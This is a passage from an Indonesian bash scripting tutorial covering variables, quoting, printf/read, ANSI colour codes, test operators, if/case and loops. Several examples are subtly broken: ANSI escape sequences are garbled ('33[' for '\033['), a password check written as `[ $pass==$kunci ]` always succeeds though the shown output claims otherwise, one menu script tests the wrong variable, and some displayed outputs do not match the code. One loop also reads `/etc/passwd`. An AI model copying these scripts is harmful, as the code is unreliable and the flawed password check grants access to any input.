#double-quoted\r\nnama=\'pinguin\' #single-quoted\r\nhasil=`ls -l`; #back-quoted\r\nangka=12</pre>\r\n<p>kalau anda perhatikan ada 3 tanda kutip yang kita gunakan untuk\r\nmemberikan nilai string ke suatu variabel, adapun perbedaannya adalah:</p>\r\n<ul>\r\n<li>dengan kutip ganda (double-quoted), bash mengizinkan kita untuk menyisipkan variabel di dalamnya. contohnya:\r\n<pre>#!/bin/bash\r\n\r\nnama=\"pinguin\"\r\nkata=\"Hi $nama, apa khabarmu\" #menyisipkan variabel nama\r\necho $kata;</pre>\r\n<p>Hasilnya:</p>\r\n<pre>Hi pinguin, apa khabarmu</pre>\r\n</li>\r\n<li>dengan kutip tunggal (single-quoted), akan ditampilkan apa adanya. contohnya:\r\n<pre>#!/bin/bash\r\n\r\nnama=\"pinguin\"\r\nkata=\'Hi $nama, apa khabarmu\' #menyisipkan variabel nama\r\necho $kata;</pre>\r\n<p>Hasilnya:</p>\r\n<pre>Hi $nama, apa khabarmu</pre>\r\n</li>\r\n<li>dengan kutip terbalik (double-quoted), bash menerjemahkan sebagai perintah yang akan dieksekusi, contohnya:\r\n<pre>#!/bin/bash\r\n\r\nhapus=`clear`;\r\nisi=`ls -l`; #hasil dari perintah ls -l disimpan di variabel isi\r\n\r\n#hapus layar\r\necho $hapus\r\n\r\n#ls -l\r\necho $isi;</pre>\r\n<p>Hasilnya: silahkan dicoba sendiri\r\n</p></li></ul>\r\n<p>Untuk lebih jelasnya lihat contoh berikut:</p>\r\n<pre>#!/bin/bash\r\n#varuse\r\n\r\nnama=\"fajar\"\r\nOS=\'linux\'\r\ndistro=\"macam-macam, bisa slackware,redhat,mandrake,debian,suse,dll\"\r\npc=1\r\nhasil=`ls -l $0`\r\n\r\nclear\r\necho -e \"Hi $nama,\\npake $OS\\nDistribusi, $distro\\nkomputernya, $pc buah\"\r\necho \"Hasil ls -l $0 adalah =$hasil\"</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./varuse\r\nHi fajar,\r\npake linux Distribusi, macam-macam, bisa slackware,redhat,mandrake,debian,suse,dll\r\nkomputernya, 1 buah\r\nHasil ls -l ./varuse adalah -rwxr-xr-x 1 fajar users 299 Nov 21 06:24 ./varuse</pre>\r\n<p>untuk operasi matematika ada 3 cara yang dapat anda gunakan, dengan statement builtin <code>let</code> atau <code>expr</code> atau perintah <code>subtitusi</code> seperti contoh berikut:</p>\r\n<pre>#!/bin/bash\r\n#mat1\r\n\r\na=10\r\nb=5\r\n#memakai let\r\nlet jumlah=$a+$b\r\nlet kurang=$a-$b\r\nlet kali=$a*$b\r\n\r\n#memakai expr\r\nbagi=`expr $a / $b`\r\n\r\n#memakai perintah subtitusi $((ekspresi))\r\nmodul =$(($a%$b)) #sisa pembagian\r\n\r\necho \"$a+$b=$jumlah\"\r\necho \"$a-$b=$kurang\"\r\necho \"$a*$b=$kali\"\r\necho \"$a/$b=$bagi\"\r\necho \"$a%$b=$mod\"</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./mat1\r\n10+5=15\r\n10-5=5\r\n10*5=50\r\n10/5=2\r\n10%5=0</pre>\r\n<p>fungsi <code>expr</code> begitu berdaya guna baik untuk operasi matematika ataupun string contohnya:</p>\r\n<pre>[fajar@linux$]mystr=\"linux\"\r\n[fajar@linux$]expr length $mystr\r\n5</pre>\r\n<p>Mungkin anda bertanya - tanya, apakah bisa variabel yang akan\r\ndigunakan dideklarasikan secara eksplisit dengan tipe data tertentu?,\r\nmungkin seperti C atau pascal, untuk hal ini oleh Bash disediakan\r\nstatement <code>declare</code> dengan opsi <code>-i</code> hanya untuk data integer (bilangan bulat). Contohnya:</p>\r\n<pre>#!/bin/bash\r\n\r\ndeclare -i angka\r\nangka=100;\r\necho $angka;</pre>\r\n<p>apabila variabel yang dideklarasikan menggunakan <code>declare -i</code>ternyata\r\nanda beri nilai string (karakter), maka Bash akan mengubahnya ke nilai\r\n0, tetapi jika anda tidak menggunakannya maka dianggap sebagai string.</p>\r\n<h2><a name=\"IO\"></a>6. Simple I/O</h2>\r\n<p>I/O merupakan hal yang mendasar dari kerja komputer karena kapasitas\r\ninilah yang membuat komputer begitu berdayaguna. I/O yang dimaksud\r\nadalah device yang menangani masukan dan keluaran, baik itu berupa\r\nkeyboard, floppy, layar monitor,dsb. sebenarnya kita telah menggunakan\r\nproses I/O ini pada contoh -contoh diatas seperti statement <code>echo</code> yang menampilkan teks atau informasi ke layar, atau operasi redirect ke ke file. selain <code>echo</code>, bash menyediakan perintah builtin <code>printf</code> untuk mengalihkan keluaran ke output standard, baik ke layar ataupun ke file dengan format tertentu, mirip statement <code>printf</code> kepunyaan bahasa <code>C</code> atau <code>perl</code>. berikut contohnya:</p>\r\n<h3><a name=\"printf\"></a>6.1 Output dengan <code>printf</code></h3>\r\n<pre>#!/bin/bash\r\n#pr1\r\n\r\nurl=\"pemula.linux.or.id\";\r\nangka=32;\r\n\r\nprintf \"Hi, Pake printf ala C\\n\\t\\a di bash\\n\";\r\nprintf \"My url %s\\n %d decimal = %o octal\\n\" $url $angka $angka;\r\nprintf \"%d decimal dalam float = %.2f\\n\" $angka $angka</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./pr1\r\nHi, Pake printf ala C\r\n di bash\r\nMy url pemula.linux.or.id\r\n32 decimal = 40 octal\r\n32 decimal dalam float = 32.00</pre>\r\n<p>untuk menggunakan format kontrol sertakan simbol <code>%</code>,\r\nbash akan mensubtitusikan format tsb dengan isi variabel yang berada di\r\nposisi kanan sesuai dengan urutannya jika lebih dari satu variabel, <code>\\n \\t \\a</code> adalah karakter sekuen lepas <code>newline,tab,</code> dan <code>bell,</code></p>\r\n<table border=\"1\">\r\n<tbody><tr>\r\n<td>Format control</td>\r\n<td>keterangan</td>\r\n</tr>\r\n<tr>\r\n<td><code>%d</code></td>\r\n<td>untuk format data integer</td>\r\n</tr>\r\n<tr>\r\n<td><code>%o</code></td>\r\n<td>octal</td>\r\n</tr>\r\n<tr>\r\n<td><code>%f</code></td>\r\n<td>float atau decimal</td>\r\n</tr>\r\n<tr>\r\n<td><code>%x</code></td>\r\n<td>Hexadecimal</td>\r\n</tr>\r\n</tbody></table>\r\n<p>pada script diatas <code>%.2f</code> akan mencetak 2 angka dibelakang koma, defaultnya 6 angka, informasi lebih lanjut dapat dilihat via man <code>printf</code></p>\r\n<h3><a name=\"read\"></a>6.2 Input dengan <code>read</code></h3>\r\n<p>Setelah <code>echo</code> dan <code>printf</code> untuk proses output telah anda ketahui, sekarang kita menggunakan statement <code>read</code> yang cukup ampuh untuk membaca atau menerima masukan dari input standar</p>\r\n<p>syntax :</p>\r\n<pre>read -opsi [nama_variabel...]</pre>\r\n<p>berikut contoh scriptnya:</p>\r\n<pre>#!/bin/bash\r\n#rd1\r\n\r\necho -n \"Nama anda :\"\r\nread nama;\r\n\r\necho \"Hi $nama, apa khabarmu\";\r\necho \"Pesan dan kesan :\";\r\nread\r\necho \"kata $nama, $REPLY\";</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./rd1\r\nNama anda : pinguin\r\nHi pinguin, apa khabarmu\r\nPesan &amp; kesan :\r\n pake linux pasti asyk - asyk aja\r\nkata pinguin, pake linux pasti asyk - asyk aja</pre>\r\n<p>jika nama_variabel tidak disertakan, maka data yang diinput akan disimpan di variabel <code>REPLY</code> contoh lain <code>read</code> menggunakan opsi<br>\r\n<code>-t</code>(TIMEOUT), <code>-p</code> (PROMPT), <code>-s</code>(SILENT), <code>-n</code> (NCHAR) dan <code>-d</code>(DELIM)</p>\r\n<pre>#!/bin/bash\r\n\r\nread -p \"User Name : \" user\r\necho -e \"Password 10 karakter,\\njika dalam 6 second tidak dimasukkan pengisian password diakhiri\"\r\nread -s -n 10 -t 6 pass\r\necho \"kesan anda selama pake linux, _underscore=&gt;selesai\"\r\nread -d _ kesan\r\n\r\necho \"User = $user\"\r\necho \"Password = $pass\"\r\necho \"Kesan selama pake linux = $kesan\"</pre>\r\n<p>Hasilnya: silahkan dicoba sendiri <img src=\"Pengantar%20Pemrograman%20bash%20shell%20di%20linux%20%AB%20KampusKu_files/icon_smile.gif\" alt=\":-)\" class=\"wp-smiley\"> </p>\r\n<table border=\"1\">\r\n<tbody><tr>\r\n<td>Opsi</td>\r\n<td>Keterangan</td>\r\n</tr>\r\n<tr>\r\n<td><code>-p</code></td>\r\n<td>memungkinkan kita membuat prompt sebagai informasi pengisian</td>\r\n</tr>\r\n<tr>\r\n<td><code>-s</code></td>\r\n<td>membuat input yang dimasukkan tidak di echo ke layar (seperti layaknya password di linux)</td>\r\n</tr>\r\n<tr>\r\n<td><code>-n</code></td>\r\n<td>menentukan banyak karakter yang diinput</td>\r\n</tr>\r\n<tr>\r\n<td><code>-d</code></td>\r\n<td>menentukan karakter pembatas masukan</td>\r\n</tr>\r\n</tbody></table>\r\n<p>informasi secara lengkap lihat <code>man bash</code></p>\r\n<h3><a name=\"ansi\"></a>6.3. Output dengan konstanta ANSI</h3>\r\n<h4>6.3.1. Pengaturan Warna</h4>\r\n<p>Untuk pewarnaan tampilan dilayar anda dapat menggunakan konstanta\r\nANSI (salah satu badan nasional amerika yang mengurus standarisasi).</p>\r\n<p>syntaxnya:</p>\r\n<pre>33[warnam</pre>\r\n<p>Dimana:<br>\r\n<code>m</code> menandakan setting color</p>\r\n<p>contohnya:</p>\r\n<pre>[fajar@linux$]echo -e \"33[31m HELLO33[0m\"\r\nHELLO</pre>\r\n<p>konstanta <code>31m</code> adalah warna merah dan <code>0m</code> untuk mengembalikan ke warna normal (none), tentunya konstanta warna ansi ini dapat dimasukkan ke variabel <code>PS1</code> untuk mengatur tampilan prompt shell anda, contohnya:</p>\r\n<pre>[fajar@linux$]PS1=\"33[34m\"\r\n[fajar@linux$]</pre>\r\n<p>berikut daftar warna yang dapat anda gunakan:</p>\r\n<pre>foreground\r\n None 0m\r\n Black 0;30 Dark Gray 1;30\r\n Red 0;31 Light Red 1;31\r\n Green 0;32 Light Green 1;32\r\n Brown 0;33 Yellow 1;33\r\n Blue 0;34 Light Blue 1;34\r\n Purple 0;35 Light Purple 1;35\r\n Cyan 0;36 Light Cyan 1;36\r\n Light Gray 0;37 White 1;37\r\nbackground\r\n dimulai dengan 40 untuk BLACK,41 RED,dst\r\nlain-lain\r\n 4 underscore,5 blink, 7 inverse</pre>\r\n<p>tentunya untuk mendapatkan tampilan yang menarik anda dapat menggabungkannya antara foreground dan background</p>\r\n<pre>[fajar@linux$]echo -e \"33[31;1;33m Bash and ansi color33[0m\"</pre>\r\n<table>\r\n<tbody><tr>\r\n<td bgcolor=\"red\">Bash and ansi color</td>\r\n</tr>\r\n</tbody></table>\r\n<h4><a name=\"ansikursor\"></a>6.3.2 Pengaturan posisi kursor</h4>\r\n<p>sedangkan untuk penempatan posisi kursor, dapat digunakan salah satu cara dibawah.</p>\r\n<ul>\r\n<li>Menentukan posisi baris dan kolom kursor:\r\n<pre>33[baris;kolomH</pre>\r\n</li>\r\n<li>Pindahkan kursor keatas N baris:\r\n<pre>33[NA</pre>\r\n</li>\r\n<li>Pindahkan kursor kebawah N baris:\r\n<pre>33[NB</pre>\r\n</li>\r\n<li>Pindahkan kursor kedepan N kolom:\r\n<pre>33[NC</pre>\r\n</li>\r\n<li>Pindahkan kursor kebelakang N kolom:\r\n<pre> 33[ND</pre>\r\n</li>\r\n</ul>\r\n<p>Contohnya:</p>\r\n<pre>#!/bin/bash\r\n\r\nSETMYCOLOR=\"33[42;1;37m\"\r\nGOTOYX=\"33[6;35H\"\r\nclear\r\necho -e \"33[3;20H INI DIBARIS 3, KOLOM 20\"\r\necho -e \"33[44;1;33;5m33[5;35H HELLO33[0m\";\r\necho -e \"$SETMYCOLOR$GOTOYX ANDA LIHAT INI33[0m\"</pre>\r\n<p>Hasilnya: Silahkan dicoba sendiri</p>\r\n<h3><a name=\"tput\"></a>Menggunakan utulity <code>tput</code> untuk penempatan posisi kursor</h3>\r\n<p>kita dapat pula mengatur penempatan posisi kursor di layar dengan memanfaatkan utility <code>tput</code>,</p>\r\n<p>syntaxnya:</p>\r\n<pre>tput cup baris kolom</pre>\r\n<p>contohnya:</p>\r\n<pre>#!/bin/bash\r\n\r\nclear\r\ntput cup 5 10\r\necho \"HELLO\"\r\ntput cup 6 10\r\necho \"PAKE TPUT\"</pre>\r\n<p>jika dijalankan anda akan mendapatkan string HELLO di koordinat\r\nbaris 5 kolom 10, dan string PAKE TPUT dibaris 6 kolom 10. informasi\r\nselengkapnya tentang <code>tput</code> gunakan <code>man tput</code>, atau <code>info tput</code></p>\r\n<h2><a name=\"Seleksi\"></a>7. Seleksi dan Perulangan</h2>\r\n<p>Bagian ini merupakan ciri yang paling khas dari suatu bahasa\r\npemrograman dimana kita dapat mengeksekusi suatu pernyataan dengan\r\nkondisi terntentu dan mengulang beberapa pernyataan dengan kode script\r\nyang cukup singkat.</p>\r\n<h3><a name=\"test\"></a>7.1 test dan operator</h3>\r\n<p>test adalah utility sh shell yang berguna untuk memeriksa informasi\r\ntentang suatu file dan berguna untuk melakukan perbandingan suatu nilai\r\nbaik string ataupun numerik</p>\r\n<p>syntaxnya: <code>test ekspresi</code></p>\r\n<p>proses kerja <code>test</code> yaitu dengan mengembalikan sebuah\r\ninformasi status yang dapat bernilai 0 (benar) atau 1 (salah) dimana\r\nnilai status ini dapat dibaca pada variabel spesial <code>$?</code>.</p>\r\n<pre>[fajar@linux$]test 5 -gt 3\r\n[fajar@linux$]echo $?\r\n0</pre>\r\n<p>pernyataan 5 -gt (lebih besar dari) 3 yang dievaluasi <code>test</code> menghasilkan 0 pada variabel status <code>$?</code> itu artinya pernyataan tersebut benar tetapi coba anda evaluasi dengan expresi berikut</p>\r\n<pre>[fajar@linux$]test 3 -lt 1\r\n[fajar@linux$]echo $?\r\n1</pre>\r\n<p>status bernilai 1, berarti pernyataan salah.</p>\r\n<p>anda lihat simbol <code>-gt</code> dan <code>-lt</code>, itulah yang\r\ndisebut sebagai operator, secara sederhana operator adalah karakter\r\nkhusus (spesial) yang melakukan operasi terhadap sejumlah operand,\r\nmisalkan <code>2+3</code>, “+” adalah operator sedangkan 2 dan 3 adalah operandnya, pada contoh <code>test</code> tadi yang bertindak sebagai oparatornya adalah <code>-lt</code> dan <code>-gt</code>, sedangkan bilangan disebelah kiri dan kanannya adalah operand. cukup banyak operator yang disediakan bash antara lain:</p>\r\n<h4><a name=\"opint\"></a>7.1.1. Operator untuk integer</h4>\r\n<table border=\"1\">\r\n<tbody><tr>\r\n<td>Operator</td>\r\n<td>Keterangan</td>\r\n</tr>\r\n<tr>\r\n<td>bil1 -eq bil2</td>\r\n<td>Mengembalikan Benar jika bil1 sama dengan bil2</td>\r\n</tr>\r\n<tr>\r\n<td>bil1 -ne bil2</td>\r\n<td>-||- Benar jika bil1 tidak sama dengan bil2</td>\r\n</tr>\r\n<tr>\r\n<td>bil1 -lt bil2</td>\r\n<td>-||- Benar jika bil1 lebih kecil dari bil2</td>\r\n</tr>\r\n<tr>\r\n<td>bil1 -le bil2</td>\r\n<td>-||- Benar jika bil1 lebih kecil atau sama dengan bil2</td>\r\n</tr>\r\n<tr>\r\n<td>bil1 -gt bil2</td>\r\n<td>-||- Benar jika bil1 lebih besar dari bil2</td>\r\n</tr>\r\n<tr>\r\n<td>bil1 -ge bil2</td>\r\n<td>-||- Benar jika bil1 lebih besar atau sama dengan bil2</td>\r\n</tr>\r\n</tbody></table>\r\n<h4><a name=\"opstr\"></a>7.1.2. Operasi string</h4>\r\n<table border=\"1\">\r\n<tbody><tr>\r\n<td>Operator</td>\r\n<td>Keterangan</td>\r\n</tr>\r\n<tr>\r\n<td>-z STRING</td>\r\n<td>Mengembalikan Benar jika panjang STRING adalah zero</td>\r\n</tr>\r\n<tr>\r\n<td>STRING1 == STRING2</td>\r\n<td>-||- Benar jika STRING1 sama dengan STRING2</td>\r\n</tr>\r\n</tbody></table>\r\n<h4><a name=\"opfile\"></a>7.1.3 Operator file</h4>\r\n<table border=\"1\">\r\n<tbody><tr>\r\n<td>Operator</td>\r\n<td>Keterangan</td>\r\n</tr>\r\n<tr>\r\n<td>-f FILE</td>\r\n<td>Mengembalikan Benar jika FILE ada dan merupakan file biasa</td>\r\n</tr>\r\n<tr>\r\n<td>-d FILE</td>\r\n<td>-||- Benar jika FILE ada dan meruapakan direktory</td>\r\n</tr>\r\n</tbody></table>\r\n<h4><a name=\"oplogika\"></a>7.1.3 Operator logika</h4>\r\n<table border=\"1\">\r\n<tbody><tr>\r\n<td>ekspr1 -o ekspr2</td>\r\n<td>Benar jika jika salah satu ekspresi benar (or,||)</td>\r\n</tr>\r\n<tr>\r\n<td>ekspr1 -a ekspr2</td>\r\n<td>Benar jika ekspresi1 dan ekspresi2 benar (and,&amp;&amp;)</td>\r\n</tr>\r\n<tr>\r\n<td>! ekspresi</td>\r\n<td>Mengembalikan Benar jika ekspresi tidak benar (not!)</td>\r\n</tr>\r\n</tbody></table>\r\n<p>untuk informasi lebih lengkap <code>man bash</code> atau <code>info bash</code> di prompt shell anda.</p>\r\n<h3><a name=\"seleksi\"></a>7.2. Seleksi</h3>\r\n<h4><a name=\"if\"></a>7.2.1 if</h4>\r\n<p>Statement builtin <code>if</code> berfungsi untuk melakukan seleksi berdasarkan suatu kondisi tertentu</p>\r\n<p>syntax:</p>\r\n<pre>if test-command1;\r\n then\r\n perintah1;\r\nelif test-command2;\r\n then\r\n perintah2;\r\nelse\r\n alternatif_perintah;\r\nfi</pre>\r\n<p>contoh script if1:</p>\r\n<pre>#!/bin/bash\r\n#if1\r\n\r\nclear;\r\nif [ $# -lt 1 ];\r\n then\r\n echo \"Usage : $0 [arg1 arg2 ...]\"\r\n exit 1;\r\nfi\r\n\r\necho \"Nama script anda : $0\";\r\necho \"Banyak argumen : $#\";\r\necho \"Argumennya adalah: $*\";</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./if1\r\n\r\nUsage : ./if1 [arg1 arg2 ...]</pre>\r\n<p>statement dalam blok <code>if...fi</code> akan dieksekusi apabila kondisi <code>if</code> terpenuhi, dalam hal ini jika script if1 dijalankan tanpa argumen. kita tinggal membaca apakah variabel <code>$#</code> lebih kecil (less than) dari 1, jika ya maka eksekusi perintah di dalam blok <code>if ..fi</code> tsb. perintah <code>exit 1</code> akan mengakhiri jalannya script, angka <code>1</code> pada exit adalah status yang menandakan terdapat kesalahan, status 0 berarti sukses, anda dapat melihat isi variabel <code>$?</code> yang menyimpan nilai status exit, tetapi jika anda memasukkan satu atau lebih argumen maka blok <code>if...fi</code> tidak akan dieksekusi, statement diluar blok <code>if..fi</code>lah yang akan dieksekusi.</p>\r\n<p>contoh script if2:</p>\r\n<pre>#!/bin/bash\r\n\r\nkunci=\"bash\";\r\nread -s -p \"Password anda : \" pass\r\nif [ $pass==$kunci ]; then\r\n echo \"Sukses, anda layak dapat linux\"\r\nelse\r\n echo \"Wah sorry, gagal nih\";\r\nfi</pre>\r\n<p>Hasilnya</p>\r\n<pre>[fajar@linux$]./if2\r\nPassword anda : bash\r\nSukses, anda layak dapat linux\r\n[fajar@linux$]./if2\r\nPassword anda : Bash\r\nWah sorry, gagal nih</pre>\r\n<p>klausa <code>else</code> akan dieksekusi jika <code>if</code> tidak terpenuhi, sebaliknya jika <code>if</code> terpenuhi maka <code>else</code> tidak akan dieksekusi</p>\r\n<p>contoh script if3: penyeleksian dengan kondisi majemuk</p>\r\n<pre>#!/bin/bash\r\n\r\nclear\r\necho \"MENU HARI INI\";\r\necho \"-------------\";\r\necho \"1. Bakso \";\r\necho \"2. Gado-Gado \";\r\necho \"3. Exit \";\r\nread -p \"Pilihan anda [1-3] :\" pil;\r\n\r\nif [ $pil -eq 1 ];\r\nthen\r\n echo \"Banyak mangkuk =\";\r\n read jum\r\n let bayar=jum*1500;\r\nelif [ $angka -eq 2 ];\r\nthen\r\n echo \"Banyak porsi =\";\r\n read jum\r\n let bayar=jum*2000;\r\nelif [ $angka -eq 3 ];\r\nthen\r\n exit 0\r\nelse\r\n echo \"Sorry, tidak tersedia\"\r\n exit 1\r\nfi\r\n\r\necho \"Harga bayar = Rp. $bayar\"\r\necho \"THX\"</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./if3\r\nMENU HARI INI\r\n-------------\r\n1. Bakso\r\n2. Gado-Gado\r\n3. Exit\r\nPilihan anda :2\r\n\r\nBanyak porsi = 2\r\n\r\nHarga bayar = Rp. 4000\r\nTHX</pre>\r\n<h4><a name=\"case\"></a>7.2.2. statement builtin <code>case</code></h4>\r\n<p>seperti halnya <code>if</code> statement <code>case</code> digunakan untuk menyeleksi kondisi majemuk, dibanding <code>if</code>, pemakaian <code>case</code> terasa lebih efisien</p>\r\n<p>syntax:</p>\r\n<pre>case WORD in [ [(] PATTERN [| PATTERN]...) COMMAND-LIST ;;]...\r\nesac</pre>\r\n<p>contoh script cs1</p>\r\n<pre>#!/bin/bash\r\n\r\nclear\r\necho -n \"Masukkan nama binatang :\";\r\nread binatang;\r\n\r\ncase $binatang in\r\n pinguin | ayam | burung ) echo \"$binatang berkaki 2\"\r\n break\r\n ;;\r\n onta | kuda | anjing ) echo \"$binatang berkaki 4\"\r\n break\r\n ;;\r\n *) echo \"$binatang blom didaftarkan\"\r\n break\r\n ;;\r\nesac</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./cs1\r\nMasukkan nama binatang : pinguin\r\npinguin berkaki 2</pre>\r\n<h3><a name=\"loop\"></a>7.3. Perulangan</h3>\r\n<h4><a name=\"for\"></a>7.3.1. statement for</h4>\r\n<pre>syntax:\r\nfor NAME [in WORDS ...]; do perintah; done\r\ncontoh script for1</pre>\r\n<pre>#!/bin/bash\r\n\r\nfor angka in 1 2 3 4 5;\r\ndo\r\n echo \"angka=$angka\";\r\ndone</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./for1\r\nangka=1\r\nangka=2\r\nangka=3\r\nangka=4\r\nangka=5</pre>\r\n<p>contoh script for2 berikut akan membaca argumen yang disertakan waktu script dijalankan</p>\r\n<pre>#!/bin/bash\r\n\r\nfor var\r\ndo\r\n echo $var\r\ndone</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./for2 satu 2 tiga\r\nsatu\r\n2\r\ntiga</pre>\r\n<p>atau variasi seperti berikut</p>\r\n<pre>#!/bin/bash\r\n\r\nfor var in `cat /etc/passwd`\r\ndo\r\n echo $var\r\ndone</pre>\r\n<p>Hasilnya: hasil dari perintah <code>cat</code> terhadap file <code>/etc/passwd</code> disimpan ke <code>var</code> dan ditampilkan menggunakan <code>echo $var</code> ke layar, mendingan gunakan <code>cat /etc/passwd</code> saja biar efisien. <img src=\"Pengantar%20Pemrograman%20bash%20shell%20di%20linux%20%AB%20KampusKu_files/icon_smile.gif\" alt=\":-)\" class=\"wp-smiley\"> </p>\r\n<h4><a name=\"while\"></a>7.3.2. statement while</h4>\r\n<p>selama kondisi bernilai benar atau zero perintah dalam blok <code>while</code> akan diulang terus</p>\r\n<p>syntax:</p>\r\n<pre>while KONDISI; do perintah; done;</pre>\r\n<p>contoh script wh1 mencetak bilangan ganjil antara 1-10</p>\r\n<pre>#!/bin/bash\r\n\r\ni=1;\r\nwhile [ $i -le 10 ];\r\ndo\r\n echo \"$i,\";\r\n let i=$i+2;\r\ndone</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./wh1\r\n1,3,5,7,9,</pre>\r\n<p>kondisi tidak terpenuhi pada saat nilai <code>i=11 (9+2)</code>, sehingga perintah dalam blok<code>while</code> tidak dieksekusi lagi<br>\r\ncontoh script wh2 akan menghitung banyak bilangan genap dan ganjil yang ada.</p>\r\n<pre>#!/bin/bash\r\n\r\ni=0;\r\nbil_genap=0;\r\nbil_ganjil=0;\r\n\r\necho -n \"Batas loop :\";\r\nread batas\r\n\r\nif [ -z $batas ] || [ $batas -lt 0 ]; then\r\n echo \"Ops, tidak boleh kosong atau Batas loop harus &gt;= 0\";\r\n exit 0;\r\nfi\r\n\r\nwhile [ $i -le $batas ];\r\ndo\r\n echo -n \"$i,\";\r\n if [ `expr $i % 2` -eq 0 ]; then\r\n let bil_genap=$bil_genap+1;\r\n else\r\n let bil_ganjil=$bil_ganjil+1;\r\n fi\r\n let i=$i+1; #counter untuk mencapai batas\r\ndone\r\n\r\necho\r\necho \"banyak bilangan genap = $bil_genap\";\r\necho \"banyak bilangan ganjil = $bil_ganjil\";</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./wh2\r\nBatas loop : 10\r\n0,1,2,3,4,5,6,7,8,9,10,\r\nbanyak bilangan genap = 6\r\nbanyak bilangan ganjil = 5</pre>\r\n<p>untuk mengetahui apakah nilai <code>i</code> berupa bilangan genap kita cukup menggunakan operasi matematika <code>%</code> (mod), jika nilai <code>i</code> dibagi <code>2</code> menghasilkan sisa <code>0</code> berarti <code>i</code> adalah bilangan genap (semua bilangan genap yang dibagi dengan 2 mempunyai sisa 0) maka pencacah <code>(bil_genap)</code> dinaikkan 1, selain itu <code>i</code> bilangan ganjil yang dicatat oleh pencacah <code>bil_ganjil</code>proses ini dilakukan terus selama nilai <code>i</code> lebih kecil atau samadengan nilai <code>batas</code> yang dimasukkan. script juga akan memeriksa dahulu nilai <code>batas</code> yang dimasukkan apabila kosong atau lebih kecil dari <code>0</code> maka proses segera berakhir.tentunya dengan statement <code>while</code> kita sudah dapat membuat perulangan pada script <code>kedai</code> diatas agar dapat digunakan terus-menerus selama operator masih ingin melakukan proses perhitungan. lihat contoh berikut:</p>\r\n<pre>#!/bin/bash\r\n#kedai\r\n\r\nlagi=\'y\'\r\nwhile [ $lagi == \'y\' ] || [ $lagi == \'Y\' ];\r\ndo\r\n clear\r\n echo \"MENU HARI INI\";\r\n echo \"-------------\";\r\n echo \"1. Bakso \";\r\n echo \"2. Gado-Gado \";\r\n echo \"3. Exit \";\r\n read -p \"Pilihan anda [1-3] :\" pil;\r\n\r\nif [ $pil -eq 1 ];\r\nthen\r\n echo -n \"Banyak mangkuk =\";\r\n read jum\r\n let bayar=jum*1500;\r\nelif [ $pil -eq 2 ];\r\nthen\r\n echo -n \"Banyak porsi =\";\r\n read jum\r\n let bayar=jum*2000;\r\nelif [ $pil -eq 3 ];\r\nthen\r\n exit 0\r\nelse\r\n echo \"Sorry, tidak tersedia\"\r\n exit 1\r\nfi\r\n\r\necho \"Harga bayar = Rp. $bayar\"\r\necho \"THX\"\r\necho\r\necho -n \"Hitung lagi (y/t) :\";\r\nread lagi;\r\n\r\n #untuk validasi input\r\n while [ $lagi != \'y\' ] &amp;&amp; [ $lagi != \'Y\' ] &amp;&amp; [ $lagi != \'t\' ] &amp;&amp; [ $lagi != \'T\' ];\r\n do\r\n echo \"Ops, isi lagi dengan (y/Y/t/Y)\";\r\n echo -n \"Hitung lagi (y/t) :\";\r\n read lagi;\r\n done\r\n\r\ndone</pre>\r\n<p>proses pemilihan menu dan perhitungan biaya akan diulang terus selama anda memasukkan <code>y/Y</code> dan <code>t/T</code> untuk berhenti. dalam script terdapat validasi input menggunakan <code>while</code>, sehingga hanya <code>y/Y/t/T</code> saja yang dapat diterima soalnya saya belum mendapatkan fungsi yang lebih efisien <img src=\"Pengantar%20Pemrograman%20bash%20shell%20di%20linux%20%AB%20KampusKu_files/icon_smile.gif\" alt=\":-)\" class=\"wp-smiley\"> </p>\r\n<h4><a name=\"until\"></a>7.3.3. statement until</h4>\r\n<p>jika <code>while</code> akan mengulang selama kondisi benar, lain halnya dengan statement <code>until</code> yang akan mengulang selama kondisi salah.<br>\r\nberikut contoh script ut menggunakan <code>until</code></p>\r\n<pre>#!/bin/bash\r\n\r\ni=1;\r\nuntil [ $i -gt 10 ];\r\ndo\r\n echo $i;\r\n let i=$i+1\r\ndone</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./ut\r\n1,2,3,4,5,6,7,8,9,10,</pre>\r\n<p>perhatikan kodisi <code>until</code> yang salah <code>[ $i -gt 10]</code>, dimana nilai awal <code>i=1</code> dan akan berhenti apabila nilai <code>i = 11</code> (bernilai benar) <code>11 -gt 10</code>.</p>\r\n<h4><a name=\"select\"></a>7.3.4. statement select</h4>\r\n<p><code>select</code>berguna untuk pembuatan layout berbentuk menu\r\npilihan, anda lihat contoh script pembuatan menu diatas kita hanya\r\nmelakukannya dengan <code>echo</code> secara satu persatu, dengan <code>select</code> akan terlihat lebih efisien.</p>\r\n<p>syntax:</p>\r\n<pre>select varname in (&amp;ltitem list&gt;); do perintah; done</pre>\r\n<p>sewaktu dijalankan bash akan menampilkan daftar menu yang diambil\r\ndari item list, serta akan menampilkan prompt yang menunggu masukan\r\ndari keyboard, masukan tersebut oleh bash disimpan di variabel builtin <code>REPLY</code>,\r\napabila daftar item list tidak dituliskan maka bash akan mengambil item\r\nlist dari parameter posisi sewaktu script dijalankan. lebih jelasnya\r\nlihat contoh berikut:</p>\r\n<pre>#!/bin/bash\r\n#menu1\r\n\r\nclear\r\nselect menu\r\ndo\r\n echo \"Anda memilih $REPLY yaitu $menu\"\r\ndone</pre>\r\n<p>Hasilnya:</p>\r\n<pre>layout:\r\n[fajar@linux$]./menu1 Slackware Redhat Mandrake\r\n1) Slackware\r\n2) Redhat\r\n3) Mandrake\r\n #? 1\r\nAnda memilih 1 yaitu Slackware</pre>\r\n<p>karena item list tidak disertakan dalam script, maka sewaktu script\r\ndijalankan kita menyertakan item list sebagai parameter posisi, coba\r\ngunakan statement <code>select</code> pada program kedai 